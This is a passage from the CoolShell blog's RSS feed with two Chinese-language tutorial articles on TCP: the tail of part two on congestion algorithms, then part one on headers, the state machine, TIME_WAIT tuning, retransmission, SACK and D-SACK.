<p>2004年，产内出BIC算法。现在你还可以查得到相关的新闻《Google：<a href="https://www.google.com/search?lr=lang_zh-CN%7Clang_zh-TW&amp;newwindow=1&amp;biw=1366&amp;bih=597&amp;tbs=lr%3Alang_1zh-CN%7Clang_1zh-TW&amp;q=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D&amp;oq=%E7%BE%8E%E7%A7%91%E5%AD%A6%E5%AE%B6%E7%A0%94%E5%8F%91BIC-TCP%E5%8D%8F%E8%AE%AE+%E9%80%9F%E5%BA%A6%E6%98%AFDSL%E5%85%AD%E5%8D%83%E5%80%8D" target="_blank">美科学家研发BIC-TCP协议 速度是DSL六千倍</a>》 BIC全称<a href="http://research.csc.ncsu.edu/netsrv/?q=content/bic-and-cubic" target="_blank">Binary Increase Congestion control</a>，在Linux 2.6.8中是默认拥塞控制算法。BIC的发明者发这么多的拥塞控制算法都在努力找一个合适的cwnd &#8211; Congestion Window，而且BIC-TCP的提出者们看穿了事情的本质，其实这就是一个搜索的过程，所以BIC这个算法主要用的是Binary Search——二分查找来干这个事。 关于这个算法实现，你可以参看Linux源码：<a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_bic.c" target="_blank">/net/ipv4/tcp_bic.c</a></p>
<h5>TCP WestWood算法</h5>
<p><span style="color: #000000;">westwood采用和Reno相同的慢启动算法、拥塞避免算法。</span><span style="color: #000000;">westwood的主要改进方面：在发送端做带宽估计，当探测到丢包时，根据带宽值来设置拥塞窗口、</span><span style="color: #000000;">慢启动阈值。</span> 那么，这个算法是怎么测量带宽的？每个RTT时间，会测量一次带宽，测量带宽的公式很简单，就是这段RTT内成功被ack了多少字节。因为，这个带宽和用RTT计算RTO一样，也是需要从每个样本来平滑到一个值的——也是用一个加权移平均的公式。 另外，我们知道，如果一个网络的带宽是每秒可以发送X个字节，而RTT是一个数据发出去后确认需要的时候，所以，X * RTT应该是我们缓冲区大小。所以，在这个算法中，ssthresh的值就是est_BD * min-RTT(最小的RTT值)，如果丢包是Duplicated ACKs引起的，那么如果cwnd &gt; ssthresh，则 cwin = ssthresh。如果是RTO引起的，cwnd = 1，进入慢启动。   关于这个算法实现，你可以参看Linux源码： <a href="http://lxr.free-electrons.com/source/net/ipv4/tcp_westwood.c" target="_blank">/net/ipv4/tcp_westwood.c</a></p>
<h5>其它</h5>
<p>更多的算法，你可以从Wikipedia的 <a href="http://en.wikipedia.org/wiki/TCP_congestion-avoidance_algorithm" target="_blank">TCP Congestion Avoidance Algorithm</a> 词条中找到相关的线索</p>
<h4> 后记</h4>
<p>好了，到这里我想可以结束了，TCP发展到今天，里面的东西可以写上好几本书。本文主要目的，还是把你带入这些古典的基础技术和知识中，希望本文能让你了解TCP，更希望本文能让你开始有学习这些基础或底层知识的兴趣和信心。</p>
<p>当然，TCP东西太多了，不同的人可能有不同的理解，而且本文可能也会有一些荒谬之言甚至错误，还希望得到您的反馈和批评。</p>
<p style="text-align: left;">（全文完）</p>
<p>&nbsp;<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg" alt="从一次经历谈 TIME_WAIT 的那些事" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_title">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/11564.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-150x150.jpg" alt="TCP 的那些事儿（上）" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11564.html" class="wp_rp_title">TCP 的那些事儿（上）</a></li><li ><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg" alt="Alan Cox：单向链表中prev指针的妙用" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_title">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/1484.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg" alt="TCP网络关闭的状态变换时序图" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1484.html" class="wp_rp_title">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11609.html">TCP 的那些事儿（下）</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11609.html/feed</wfw:commentRss>
			<slash:comments>162</slash:comments>
		
		
			</item>
		<item>
		<title>TCP 的那些事儿（上）</title>
		<link>https://coolshell.cn/articles/11564.html</link>
					<comments>https://coolshell.cn/articles/11564.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 28 May 2014 00:15:36 +0000</pubDate>
				<category><![CDATA[程序设计]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[ACK]]></category>
		<category><![CDATA[ISN]]></category>
		<category><![CDATA[MSL]]></category>
		<category><![CDATA[SACK]]></category>
		<category><![CDATA[SYN]]></category>
		<category><![CDATA[TCP]]></category>
		<category><![CDATA[TIME_WAIT]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=11564</guid>

					<description><![CDATA[<p>TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/11564.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/11564.html">TCP 的那些事儿（上）</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright wp-image-11654" src="https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone.jpg" alt="" width="360" height="257" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone.jpg 495w, https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-300x214.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-379x270.jpg 379w" sizes="(max-width: 360px) 100vw, 360px" />TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。关于TCP这个协议的细节，我还是推荐你去看<a href="http://www.kohala.com/start/" target="_blank">W.Richard Stevens</a>的《<a href="http://book.douban.com/subject/1088054/" target="_blank">TCP/IP 详解 卷1：协议</a>》（当然，你也可以去读一下<a href="http://tools.ietf.org/html/rfc793" target="_blank">RFC793</a>以及后面N多的RFC）。另外，本文我会使用英文术语，这样方便你通过这些英文关键词来查找相关的技术文档。</p>
<p>之所以想写这篇文章，目的有三个，</p>
<ul>
<li>一个是想锻炼一下自己是否可以用简单的篇幅把这么复杂的TCP协议描清楚的能力。</li>
<li>另一个是觉得现在的好多程序员基本上不会认认真真地读本书，喜欢快餐文化，所以，希望这篇快餐文章可以让你对TCP这个古典技术有所了解，并能体会到软件设计中的种种难处。并且你可以从中有一些软件设计上的收获。</li>
<li>最重要的希望这些基础知识可以让你搞清很多以前一些似是而非的东西，并且你能意识到基础的重要。</li>
</ul>
<p>所以，本文不会面面俱到，只是对TCP协议、算法和原理的科普。</p>
<p><span id="more-11564"></span></p>
<p>我本来只想写一个篇幅的文章的，但是TCP真TMD的复杂，比C++复杂多了，这30多年来，各种优化变种争论和修改。所以，写着写着就发现只有砍成两篇。</p>
<ul>
<li>上篇中，主要向你介绍TCP协议的定义和丢包时的重传机制。</li>
<li>下篇中，重点介绍TCP的流迭、拥塞处理。</li>
</ul>
<p>废话少说，首先，我们需要知道TCP在网络OSI的七层模型中的第四层——Transport层，IP在第三层——Network层，ARP在第二层——Data Link层，在第二层上的数据，我们叫Frame，在第三层上的数据叫Packet，第四层的数据叫Segment。</p>
<p>首先，我们需要知道，我们程序的数据首先会打到TCP的Segment中，然后TCP的Segment会打到IP的Packet中，然后再打到以太网Ethernet的Frame中，传到对端后，各个层解析自己的协议，然后把数据交给更高层的协议处理。</p>
<h4>TCP头格式</h4>
<p>接下来，我们来看一下TCP头的格式</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter wp-image-11572" src="https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01.jpg" alt="" width="700" height="284" srcset="https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01.jpg 800w, https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-01-300x121.jpg 300w" sizes="(max-width: 700px) 100vw, 700px" />TCP头格式（<a href="http://nmap.org/book/tcpip-ref.html" target="_blank">图片来源</a>）</p>
<p>你需要注意这么几点：</p>
<ul>
<li>TCP的包是没有IP地址的，那是IP层上的事。但是有源端口和目标端口。</li>
<li>一个TCP连接需要四个元组来表示是同一个连接（src_ip, src_port, dst_ip, dst_port）准确说是五元组，还有一个是协议。但因为这里只是说TCP协议，所以，这里我只说四元组。</li>
<li>注意上图中的四个非常重要的东西：
<ul>
<li><strong>Sequence Number</strong>是包的序号，<strong>用来解决网络包乱序（reordering）问题。</strong></li>
<li><strong>Acknowledgement Number</strong>就是ACK——用于确认收到，<strong>用来解决不丢包的问题</strong>。</li>
<li><strong>Window又叫Advertised-Window</strong>，也就是著名的滑动窗口（Sliding Window），<strong>用于解决流控的</strong>。</li>
<li><strong>TCP Flag</strong> ，也就是包的类型，<strong>主要是用于操控TCP的状态机的</strong>。</li>
</ul>
</li>
</ul>
<p>关于其它的东西，可以参看下面的图示</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11573" src="https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02.jpg" alt="" width="700" height="214" srcset="https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02.jpg 800w, https://coolshell.cn/wp-content/uploads/2014/05/TCP-Header-02-300x91.jpg 300w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<p style="text-align: center;">（<a href="http://nmap.org/book/tcpip-ref.html" target="_blank">图片来源</a>）</p>
<h4>TCP的状态机</h4>
<p>其实，<strong>网络上的传输是没有连接的，包括TCP也是一样的</strong>。而TCP所谓的“连接”，其实只不过是在通讯的双方维护一个“连接状态”，让它看上去好像有连接一样。所以，TCP的状态变换是非常重要的。</p>
<p>下面是：“<strong>TCP协议的状态机</strong>”（<a href="http://www.tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm" target="_blank">图片来源</a>） 和 “<strong>TCP建链接</strong>”、“<strong>TCP断链接</strong>”、“<strong>传数据</strong>” 的对照图，我把两个图并排放在一起，这样方便在你对照着看。另外，下面这两个图非常非常的重要，你一定要记牢。（吐个槽：看到这样复杂的状态机，就知道这个协议有多复杂，复杂的东西总是有很多坑爹的事情，所以TCP协议其实也挺坑爹的）</p>
<p><img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2014/05/tcpfsm.png" alt="" width="386" height="550" align="top" /> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp_open_close.jpg" alt="" width="370" height="520" /></p>
<p>很多人会问，为什么建链接要3次握手，断链接需要4次挥手？</p>
<ul>
<li><strong>对于建链接的3次握手，</strong>主要是要初始化Sequence Number 的初始值。通信的双方要互相通知对方自己的初始化的Sequence Number（缩写为ISN：Inital Sequence Number）——所以叫SYN，全称Synchronize Sequence Numbers。也就上图中的 x 和 y。这个号要作为以后的数据通信的序号，以保证应用层接收到的数据不会因为网络上的传输的问题而乱序（TCP会用这个序号来拼接数据）。</li>
</ul>
<ul>
<li><strong>对于4次挥手，</strong>其实你仔细看是2次，因为TCP是全双工的，所以，发送方和接收方都需要Fin和Ack。只不过，有一方是被动的，所以看上去就成了所谓的4次挥手。如果两边同时断连接，那就会就进入到CLOSING状态，然后到达TIME_WAIT状态。下图是双方同时断连接的示意图（你同样可以对照着TCP状态机看）：</li>
</ul>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter wp-image-11586" src="https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul.png" alt="" width="500" height="395" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul.png 666w, https://coolshell.cn/wp-content/uploads/2014/05/tcpclosesimul-300x236.png 300w" sizes="(max-width: 500px) 100vw, 500px" /><br />
两端同时断连接（<a href="http://www.tcpipguide.com/free/t_TCPConnectionTermination-4.htm" target="_blank">图片来源</a>）</p>
<p>&nbsp;</p>
<p>另外，有几个事情需要注意一下：</p>
<ul>
<li><strong>关于建连接时SYN超时</strong>。试想一下，如果server端接到了clien发的SYN后回了SYN-ACK后client掉线了，server端没有收到client回来的ACK，那么，这个连接处于一个中间状态，即没成功，也没失败。于是，server端如果在一定时间内没有收到的TCP会重发SYN-ACK。在Linux下，默认重试次数为5次，重试的间隔时间从1s开始每次都翻售，5次的重试时间间隔为1s, 2s, 4s, 8s, 16s，总共31s，第5次发出后还要等32s都知道第5次也超时了，所以，总共需要 1s + 2s + 4s+ 8s+ 16s + 32s = 2^6 -1 = 63s，TCP才会把断开这个连接。</li>
</ul>
<ul>
<li><strong>关于SYN Flood攻击</strong>。一些恶意的人就为此制造了SYN Flood攻击——给服务器发了一个SYN后，就下线了，于是服务器需要默认等63s才会断开连接，这样，攻击者就可以把服务器的syn连接的队列耗尽，让正常的连接请求不能处理。于是，Linux下给了一个叫<strong>tcp_syncookies</strong>的参数来应对这个事——当SYN队列满了后，TCP会通过源地址端口、目标地址端口和时间戳打造出一个特别的Sequence Number发回去（又叫cookie），如果是攻击者则不会有响应，如果是正常连接，则会把这个 SYN Cookie发回来，然后服务端可以通过cookie建连接（即使你不在SYN队列中）。请注意，<strong>请先千万别用tcp_syncookies来处理正常的大负载的连接的情况</strong>。因为，synccookies是妥协版的TCP协议，并不严谨。对于正常的请求，你应该调整三个TCP参数可供你选择，第一个是：tcp_synack_retries 可以用他来减少重试次数；第二个是：tcp_max_syn_backlog，可以增大SYN连接数；第三个是：tcp_abort_on_overflow 处理不过来干脆就直接拒绝连接了。</li>
</ul>
<ul>
<li><strong>关于ISN的初始化</strong>。ISN是不能hard code的，不然会出问题的——比如：如果连接建好后始终用1来做ISN，如果client发了30个segment过去，但是网络断了，于是 client重连，又用了1做ISN，但是之前连接的那些包到了，于是就被当成了新连接的包，此时，client的Sequence Number 可能是3，而Server端认为client端的这个号是30了。全乱了。<a href="http://tools.ietf.org/html/rfc793" target="_blank">RFC793</a>中说，ISN会和一个假的时钟绑在一起，这个时钟会在每4微秒对ISN做加一操作，直到超过2^32，又从0开始。这样，一个ISN的周期大约是4.55个小时。因为，我们假设我们的TCP Segment在网络上的存活时间不会超过Maximum Segment Lifetime（缩写为MSL &#8211; <a href="http://en.wikipedia.org/wiki/Maximum_Segment_Lifetime" target="_blank">Wikipedia语条</a>），所以，只要MSL的值小于4.55小时，那么，我们就不会重用到ISN。</li>
</ul>
<ul>
<li><strong>关于 MSL 和 TIME_WAIT</strong>。通过上面的ISN的描述，相信你也知道MSL是怎么来的了。我们注意到，在TCP的状态图中，从TIME_WAIT状态到CLOSED状态，有一个超时设置，这个超时设置是 2*MSL（<a href="http://tools.ietf.org/html/rfc793" target="_blank">RFC793</a>定义了MSL为2分钟，Linux设置成了30s）为什么要这有TIME_WAIT？为什么不直接给转成CLOSED状态呢？主要有两个原因：1）TIME_WAIT确保有足够的时间让对端收到了ACK，如果被动关闭的那方没有收到Ack，就会触发被动端重发Fin，一来一去正好2个MSL，2）有足够的时间让这个连接不会跟后面的连接混在一起（你要知道，有些自做主张的路由器会缓存IP数据包，如果连接被重用了，那么这些延迟收到的包就有可能会跟新连接混在一起）。你可以看看这篇文章《<a href="http://www.serverframework.com/asynchronousevents/2011/01/time-wait-and-its-design-implications-for-protocols-and-scalable-servers.html" target="_blank">TIME_WAIT and its design implications for protocols and scalable client server systems</a>》</li>
</ul>
<ul>
<li><strong>关于TIME_WAIT数量太多</strong>。从上面的描述我们可以知道，TIME_WAIT是个很重要的状态，但是如果在大并发的短链接下，TIME_WAIT 就会太多，这也会消耗很多系统资源。只要搜一下，你就会发现，十有八九的处理方式都是教你设置两个参数，一个叫<strong>tcp_tw_reuse</strong>，另一个叫<strong>tcp_tw_recycle</strong>的参数，这两个参数默认值都是被关闭的，后者recyle比前者resue更为激进，resue要温柔一些。另外，如果使用tcp_tw_reuse，必需设置tcp_timestamps=1，否则无效。这里，你一定要注意，<strong>打开这两个参数会有比较大的坑——可能会让TCP连接出一些诡异的问题</strong>（因为如上述一样，如果不等待超时重用连接的话，新的连接可能会建不上。正如<a href="https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt" target="_blank">官方文档</a>上说的一样“<strong>It should not be changed without advice/request of technical experts</strong>”）。</li>
</ul>
<ul>
<ul style="padding-left: 30px;">
<li><strong>关于tcp_tw_reuse</strong>。官方文档上说tcp_tw_reuse 加上tcp_timestamps（又叫PAWS, for Protection Against Wrapped Sequence Numbers）可以保证协议的角度上的安全，但是你需要tcp_timestamps在两边都被打开（你可以读一下<a href="http://lxr.free-electrons.com/ident?i=tcp_twsk_unique">tcp_twsk_unique</a>的源码<span style="color: #000000;"> </span>）。我个人估计还是有一些场景会有问题。</li>
</ul>
</ul>
<ul style="padding-left: 30px;">
<ul>
<li><strong>关于tcp_tw_recycle</strong>。如果是tcp_tw_recycle被打开了话，会假设对端开启了tcp_timestamps，然后会去比较时间戳，如果时间戳变大了，就可以重用。但是，如果对端是一个NAT网络的话（如：一个公司只用一个IP出公网）或是对端的IP被另一台重用了，这个事就复杂了。建链接的SYN可能就被直接丢掉了（你可能会看到connection time out的错误）（如果你想观摩一下Linux的内核代码，请参看源码<a href="http://lxr.free-electrons.com/ident?i=tcp_timewait_state_process"> tcp_timewait_state_process</a>）。</li>
</ul>
</ul>
<ul style="padding-left: 30px;">
<ul>
<li><strong style="color: #373737;">关于tcp_max_tw_buckets</strong>。这个是控制并发的TIME_WAIT的数量，默认值是180000，如果超限，那么，系统会把多的给destory掉，然后在日志里打一个警告（如：<span style="color: #373737;">time wait bucket table overflow</span>），官网文档说这个参数是用来对抗DDoS攻击的。也说的默认值180000并不小。这个还是需要根据实际情况考虑。</li>
</ul>
</ul>
<p><strong>Again，使用tcp_tw_reuse和tcp_tw_recycle来解决TIME_WAIT的问题是非常非常危险的，因为这两个参数违反了TCP协议（<a href="http://tools.ietf.org/html/rfc1122" target="_blank">RFC 1122</a>） </strong></p>
<p>其实，TIME_WAIT表示的是你主动断连接，所以，这就是所谓的“不作死不会死”。试想，如果让对端断连接，那么这个破问题就是对方的了，呵呵。另外，如果你的服务器是于HTTP服务器，那么设置一个<a href="http://en.wikipedia.org/wiki/HTTP_persistent_connection" target="_blank">HTTP的KeepAlive</a>有多重要（浏览器会重用一个TCP连接来处理多个HTTP请求），然后让客户端去断链接（你要小心，浏览器可能会非常贪婪，他们不到万不得已不会主动断连接）。</p>
<h4>数据传输中的Sequence Number</h4>
<p>下图是我从Wireshark中截了个我在访问coolshell.cn时的有数据传输的图给你看一下，SeqNum是怎么变的。（使用Wireshark菜单中的Statistics -&gt;Flow Graph&#8230; ）</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11595" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num.jpg" alt="" width="381" height="361" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num.jpg 381w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_data_seq_num-300x284.jpg 300w" sizes="(max-width: 381px) 100vw, 381px" /></p>
<p>你可以看到，<strong>SeqNum的增加是和传输的字节数相关的</strong>。上图中，三次握手后，来了两个Len:1440的包，而第二个包的SeqNum就成了1441。然后第一个ACK回的是1441，表示第一个1440收到了。</p>
<p><strong>注意</strong>：如果你用Wireshark抓包程序看3次握手，你会发现SeqNum总是为0，不是这样的，Wireshark为了显示更友好，使用了Relative SeqNum——相对序号，你只要在右键菜单中的protocol preference 中取消掉就可以看到“Absolute SeqNum”了</p>
<h4>TCP重传机制</h4>
<p>TCP要保证所有的数据包都可以到达，所以，必需要有重传机制。</p>
<p>注意，接收端给发送端的Ack确认只会确认最后一个连续的包，比如，发送端发了1,2,3,4,5一共五份数据，接收端收到了1，2，于是回ack 3，然后收到了4（注意此时3没收到），此时的TCP会怎么办？我们要知道，因为正如前面所说的，<strong>SeqNum和Ack是以字节数为单位，所以ack的时候，不能跳着确认，只能确认最大的连续收到的包</strong>，不然，发送端就以为之前的都收到了。</p>
<h5>超时重传机制</h5>
<p>一种是不回ack，死等3，当发送方发现收不到3的ack超时后，会重传3。一旦接收方收到3后，会ack 回 4——意味着3和4都收到了。</p>
<p>但是，这种方式会有比较严重的问题，那就是因为要死等3，所以会导致4和5即便已经收到了，而发送方也完全不知道发生了什么事，因为没有收到Ack，所以，发送方可能会悲观地认为也丢了，所以有可能也会导致4和5的重传。</p>
<p>对此有两种选择：</p>
<ul>
<li>一种是仅重传timeout的包。也就是第3份数据。</li>
<li>另一种是重传timeout后所有的数据，也就是第3，4，5这三份数据。</li>
</ul>
<p>这两种方式有好也有不好。第一种会节省带宽，但是慢，第二种会快一点，但是会浪费带宽，也可能会有无用功。但总体来说都不好。因为都在等timeout，timeout可能会很长（在下篇会说TCP是怎么动态地计算出timeout的）</p>
<h5>快速重传机制</h5>
<p>于是，TCP引入了一种叫<strong>Fast Retransmit</strong> 的算法，<strong>不以时间驱动，而以数据驱动重传</strong>。也就是说，如果，包没有连续到达，就ack最后那个可能被丢了的包，如果发送方连续收到3次相同的ack，就重传。Fast Retransmit的好处是不用等timeout了再重传。</p>
<p>比如：如果发送方发出了1，2，3，4，5份数据，第一份先到送了，于是就ack回2，结果2因为某些原因没收到，3到达了，于是还是ack回2，后面的4和5都到了，但是还是ack回2，因为2还是没有收到，于是发送端收到了三个ack=2的确认，知道了2还没有到，于是就马上重转2。然后，接收端收到了2，此时因为3，4，5都收到了，于是ack回6。示意图如下：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11599" src="https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021.png" alt="" width="450" height="291" srcset="https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021.png 450w, https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021-300x194.png 300w" sizes="(max-width: 450px) 100vw, 450px" /></p>
<p>Fast Retransmit只解决了一个问题，就是timeout的问题，它依然面临一个艰难的选择，就是，是重传之前的一个还是重传所有的问题。对于上面的示例来说，是重传#2呢还是重传#2，#3，#4，#5呢？因为发送端并不清楚这连续的3个ack(2)是谁传回来的？也许发送端发了20份数据，是#6，#10，#20传来的呢。这样，发送端很有可能要重传从2到20的这堆数据（这就是某些TCP的实际的实现）。可见，这是一把双刃剑。</p>
<h5>SACK 方法</h5>
<p>另外一种更好的方式叫：<strong>Selective Acknowledgment (SACK)</strong>（参看<a href="http://tools.ietf.org/html/rfc2018" target="_blank">RFC 2018</a>），这种方式需要在TCP头里加一个SACK的东西，ACK还是Fast Retransmit的ACK，SACK则是汇报收到的数据碎版。参看下图：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-11600" src="https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg" alt="" width="600" height="338" srcset="https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-300x169.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-900x507.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example.jpg 1437w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>这样，在发送端就可以根据回传的SACK来知道哪些数据到了，哪些没有到。于是就优化了Fast Retransmit的算法。当然，这个协议需要两边都支持。在 Linux下，可以通过<strong>tcp_sack</strong>参数打开这个功能（Linux 2.4后默认打开）。</p>
<p>这里还需要注意一个问题——<strong>接收方Reneging，所谓Reneging的意思就是接收方有权把已经报给发送端SACK里的数据给丢了</strong>。这样干是不被鼓励的，因为这个事会把问题复杂化了，但是，接收方这么做可能会有些极端情况，比如要把内存给别的更重要的东西。<strong>所以，发送方也不能完全依赖SACK，还是要依赖ACK，并维护Time-Out，如果后续的ACK没有增长，那么还是要把SACK的东西重传，另外，接收端这边永远不能把SACK的包标记为Ack。</strong></p>
<p>注意：SACK会消费发送方的资源，试想，如果一个攻击者给数据发送方发一堆SACK的选项，这会导致发送方开始要重传甚至遍历已经发出的数据，这会消耗很多发送端的资源。详细的东西请参看《<a href="http://www.ibm.com/developerworks/cn/linux/l-tcp-sack/" target="_blank">TCP SACK的性能权衡</a>》</p>
<h5>Duplicate SACK &#8211; 重复收到数据的问题</h5>
<p>Duplicate SACK又称D-SACK，<strong>其主要使用了SACK来告诉发送方有哪些数据被重复接收了</strong>。<a href="http://www.ietf.org/rfc/rfc2883.txt" target="_blank">RFC-2883 </a>里有详细描述和示例。下面举几个例子（来源于<a href="http://www.ietf.org/rfc/rfc2883.txt" target="_blank">RFC-2883</a>）</p>
<p>D-SACK使用了SACK的第一个段来做标志，</p>
<ul>
<li>如果SACK的第一个段的范围被ACK所覆盖，那么就是D-SACK</li>
</ul>
<ul>
<li>如果SACK的第一个段的范围被SACK的第二个段覆盖，那么就是D-SACK</li>
</ul>
<p><strong>示例一：ACK丢包</strong></p>
<p>下面的示例中，丢了两个ACK，所以，发送端重传了第一个数据包（3000-3499），于是接收端发现重复收到，于是回了一个SACK=3000-3500，因为ACK都到了4000意味着收到了4000之前的所有数据，所以这个SACK就是D-SACK——旨在告诉发送端我收到了重复的数据，而且我们的发送端还知道，数据包没有丢，丢的是ACK包。</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
	Transmitted  Received    ACK Sent
	Segment      Segment     (Including SACK Blocks)

	3000-3499    3000-3499   3500 (ACK dropped)
	3500-3999    3500-3999   4000 (ACK dropped)
	3000-3499    3000-3499   4000, SACK=3000-3500
                                        ---------</pre>
<p><strong> 示例二，网络延误</strong></p>
<p>下面的示例中，网络包（1000-1499）被网络给延误了，导致发送方没有收到ACK，而后面到达的三个包触发了“Fast Retransmit算法”，所以重传，但重传时，被延误的包又到了，所以，回了一个SACK=1000-1500，因为ACK已到了3000，所以，这个SACK是D-SACK——标识收到了重复的包。</p>
<p>这个案例下，发送端知道之前因为“Fast Retransmit算法”触发的重传不是因为发出去的包丢了，也不是因为回应的ACK包丢了，而是因为网络延时了。</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
    Transmitted    Received    ACK Sent
    Segment        Segment     (Including SACK Blocks)

    500-999        500-999     1000
    1000-1499      (delayed)
    1500-1999      1500-1999   1000, SACK=1500-2000
    2000-2499      2000-2499   1000, SACK=1500-2500
    2500-2999      2500-2999   1000, SACK=1500-3000
    1000-1499      1000-1499   3000
                   1000-1499   3000, SACK=1000-1500
                                          ---------</pre>
<p>&nbsp;</p>
<p>可见，引入了D-SACK，有这么几个好处：</p>
<p style="padding-left: 30px;">1）可以让发送方知道，是发出去的包丢了，还是回来的ACK包丢了。</p>
<p style="padding-left: 30px;">2）是不是自己的timeout太小了，导致重传。</p>
<p style="padding-left: 30px;">3）网络上出现了先发的包后到的情况（又称reordering）</p>
<p style="padding-left: 30px;">4）网络上是不是把我的数据包给复制了。</p>
<p> <strong>知道这些东西可以很好得帮助TCP了解网络情况，从而可以更好的做网络上的流控</strong>。</p>
<p>Linux下的tcp_dsack参数用于开启这个功能（Linux 2.4后默认打开）</p>
<p>好了，上篇就到这里结束了。如果你觉得我写得还比较浅显易懂，那么，欢迎移步看下篇《<a href="https://coolshell.cn/articles/11609.html" target="_blank">TCP的那些事（下）</a>》</p>
